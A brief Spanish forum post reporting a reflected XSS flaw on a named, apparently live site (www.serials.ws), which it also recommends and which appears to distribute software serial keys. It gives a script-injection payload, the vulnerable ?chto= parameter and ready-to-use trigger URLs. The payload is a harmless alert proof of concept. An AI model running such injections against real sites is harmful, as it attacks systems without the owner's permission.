Me recomendaron esta web, y aprovecho para recomendarla también ;D (www.serials.ws (http://www.serials.ws)), y hoy por curiosidad me dió por probar.
(http://i.imgur.com/tpygoa5.png)
Payload: "><script>alert('XSS')</script>
Parámetro afectado: ?chto=
URLs:www.serials.ws/?chto="><script>alert('XSS')</script> (http://www.serials.ws/?chto="><script>alert('XSS')</script>)
http://www.serials.ws/index.php?chto="><script>alert('XSS')</script> (http://www.serials.ws/index.php?chto="><script>alert('XSS')</script>)